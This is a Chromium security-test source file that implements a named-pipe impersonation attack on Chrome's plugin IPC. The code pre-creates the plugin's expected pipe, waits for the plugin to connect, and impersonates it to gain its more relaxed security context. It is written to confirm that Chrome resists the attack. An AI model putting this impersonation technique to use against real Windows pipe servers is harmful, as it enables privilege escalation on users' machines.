1 // Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
2 // Use of this source code is governed by a BSD-style license that can be
3 // found in the LICENSE file.
9 #include "chrome/test/security_tests/ipc_security_tests.h"
13 // Debug output messages prefix.
14 const char kODSMgPrefix
[] = "[security] ";
15 // Format of the Chrome browser pipe for plugins.
16 const wchar_t kChromePluginPipeFmt
[] = L
"\\\\.\\pipe\\chrome.%ls.p%d";
17 // Size for the in/out pipe buffers.
18 const int kBufferSize
= 1024;
20 // Define the next symbol if you want to have tracing of errors.
21 #ifdef PIPE_SECURITY_DBG
22 // Generic debug output function.
23 void ODSMessageGLE(const char* txt
) {
24 DWORD gle
= ::GetLastError();
25 std::ostringstream oss
;
26 oss
<< kODSMgPrefix
<< txt
<< " 0x" << std::hex
<< gle
;
27 ::OutputDebugStringA(oss
.str().c_str());
30 void ODSMessageGLE(const char* txt
) {
34 // Retrieves the renderer pipe name from the command line. Returns true if the
36 bool PipeNameFromCommandLine(std::wstring
* pipe_name
) {
37 std::wstring
cl(::GetCommandLineW());
38 const wchar_t key_name
[] = L
"--channel";
39 std::wstring::size_type pos
= cl
.find(key_name
, 0);
40 if (std::wstring::npos
== pos
) {
43 pos
= cl
.find(L
"=", pos
);
44 if (std::wstring::npos
== pos
) {
48 size_t dst
= cl
.length() - pos
;
52 for (; dst
!= 0; --dst
) {
53 if (!isspace(cl
[pos
])) {
61 std::wstring::size_type pos2
= pos
;
62 for (; dst
!= 0; --dst
) {
63 if (isspace(cl
[pos2
])) {
68 *pipe_name
= cl
.substr(pos
, pos2
);
72 // Extracts the browser process id and the channel id given the renderer
74 bool InfoFromPipeName(const std::wstring
& pipe_name
, std::wstring
* parent_id
,
75 std::wstring
* channel_id
) {
76 std::wstring::size_type pos
= pipe_name
.find(L
".", 0);
77 if (std::wstring::npos
== pos
) {
80 *parent_id
= pipe_name
.substr(0, pos
);
81 *channel_id
= pipe_name
.substr(pos
+ 1);
85 // Creates a server pipe, in byte mode.
86 HANDLE
MakeServerPipeBase(const wchar_t* pipe_name
) {
87 HANDLE pipe
= ::CreateNamedPipeW(pipe_name
, PIPE_ACCESS_DUPLEX
,
88 PIPE_TYPE_BYTE
| PIPE_READMODE_BYTE
, 3,
89 kBufferSize
, kBufferSize
, 5000, NULL
);
90 if (INVALID_HANDLE_VALUE
== pipe
) {
91 ODSMessageGLE("pipe creation failed");
96 // Creates a chrome plugin server pipe.
97 HANDLE
MakeServerPluginPipe(const std::wstring
& prefix
, int channel
) {
98 wchar_t pipe_name
[MAX_PATH
];
99 swprintf_s(pipe_name
, kChromePluginPipeFmt
, prefix
.c_str(), channel
);
100 return MakeServerPipeBase(pipe_name
);
105 explicit Context(HANDLE arg_pipe
) : pipe(arg_pipe
) {
109 // This function is called from a thread that has a security context that is
110 // higher than the renderer security context. This can be the plugin security
111 // context or the browser security context.
112 void DoEvilThings(Context
* context
) {
113 // To make the test fail we simply trigger a breakpoint in the renderer.
114 ::DisconnectNamedPipe(context
->pipe
);
118 // This is a pipe server thread routine.
119 DWORD WINAPI
PipeServerProc(void* thread_param
) {
120 if (NULL
== thread_param
) {
123 Context
* context
= static_cast<Context
*>(thread_param
);
124 HANDLE server_pipe
= context
->pipe
;
127 DWORD bytes_read
= 0;
130 // The next call blocks until a connection is made.
131 if (!::ConnectNamedPipe(server_pipe
, NULL
)) {
132 if (GetLastError() != ERROR_PIPE_CONNECTED
) {
133 ODSMessageGLE("== connect named pipe failed ==");
137 // return value of ReadFile is unimportant.
138 ::ReadFile(server_pipe
, buffer
, 1, &bytes_read
, NULL
);
139 if (::ImpersonateNamedPipeClient(server_pipe
)) {
140 ODSMessageGLE("impersonation obtained");
141 DoEvilThings(context
);
144 ODSMessageGLE("impersonation failed");
146 ::DisconnectNamedPipe(server_pipe
);
153 // Implements a pipe impersonation attack resulting on a privilege elevation on
154 // the chrome pipe-based IPC.
155 // When a web-page that has a plug-in is loaded, chrome will do the following
157 // 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
158 // 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
159 // 3) The new (plugin) process connects to the pipe and sends a 'hello'
161 // The attack creates another server pipe with the same name before step one
162 // so when the plugin connects it connects to the renderer instead. Once the
163 // connection is acepted and at least a byte is read from the pipe, the
164 // renderer can impersonate the plugin process which has a more relaxed
165 // security context (privilege elevation).
167 // Note that the attack can also be peformed after step 1. In this case we need
168 // another thread which used to connect to the existing server pipe so the
169 // plugin does not connect to chrome but to our pipe.
170 bool PipeImpersonationAttack() {
171 std::wstring pipe_name
;
172 if (!PipeNameFromCommandLine(&pipe_name
)) {
175 std::wstring parent_id
;
176 std::wstring channel_id
;
177 if (!InfoFromPipeName(pipe_name
, &parent_id
, &channel_id
)) {
180 HANDLE plugin_pipe
= MakeServerPluginPipe(parent_id
, 1);
181 if (INVALID_HANDLE_VALUE
== plugin_pipe
) {
185 HANDLE thread
= ::CreateThread(NULL
, 0, PipeServerProc
,
186 new Context(plugin_pipe
), 0, NULL
);
187 if (NULL
== thread
) {
190 ::CloseHandle(thread
);